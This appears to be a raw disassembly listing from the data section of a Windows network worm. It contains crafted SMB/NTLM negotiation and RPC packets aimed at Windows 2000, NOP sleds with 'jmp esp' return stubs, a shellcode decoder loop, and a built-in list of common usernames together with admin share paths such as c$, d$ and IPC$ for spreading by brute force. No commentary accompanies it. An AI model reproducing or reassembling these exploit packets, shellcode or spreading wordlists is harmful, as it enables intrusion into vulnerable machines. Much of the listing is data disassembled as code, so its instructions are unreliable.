		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_410649+59o
					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_410649+Fo
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_410649+181o
dword_41A818	dd 10005h, 2 dup(0)	; DATA XREF: sub_410649+1ADo
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0			; DATA XREF: sub_410649+475o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: .data:loc_41A8B4j
; ---------------------------------------------------------------------------


loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------


loc_41A8BE:				; CODE XREF: .data:loc_41A8ACj
					; .data:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: .data:loc_41A8BCj
; ---------------------------------------------------------------------------


loc_41A8C4:				; CODE XREF: .data:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_41A8C9:				; CODE XREF: .data:0041A8AEj
					; .data:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h		; DATA XREF: sub_410649+25Ao
; ---------------------------------------------------------------------------


loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB


loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl


loc_41A8E6:				; CODE XREF: .data:loc_41A8F0j
		add	[ecx], al


loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h


loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h		; CODE XREF: .data:loc_41A8ECj
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_41A8FB:				; CODE XREF: .data:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0			; DATA XREF: sub_410B52+2C7o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0			; DATA XREF: sub_410B52+3DEo
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0		; DATA XREF: sub_410B52+285o
					; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0		; DATA XREF: sub_410B52+26Fo
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------


loc_41B84A:				; CODE XREF: .data:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B852:				; CODE XREF: .data:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B8A1:				; CODE XREF: .data:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------


loc_41B97E:				; CODE XREF: .data:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B986:				; CODE XREF: .data:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_41B9C6:				; CODE XREF: .data:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B9D5:				; CODE XREF: .data:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: .data:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: .data:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: .data:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_41BA23:				; CODE XREF: .data:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx


loc_41BA5A:				; CODE XREF: .data:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0			; DATA XREF: sub_410F60+A3r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC_0		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DE00
		dd offset aAdministrator ; "administrator"
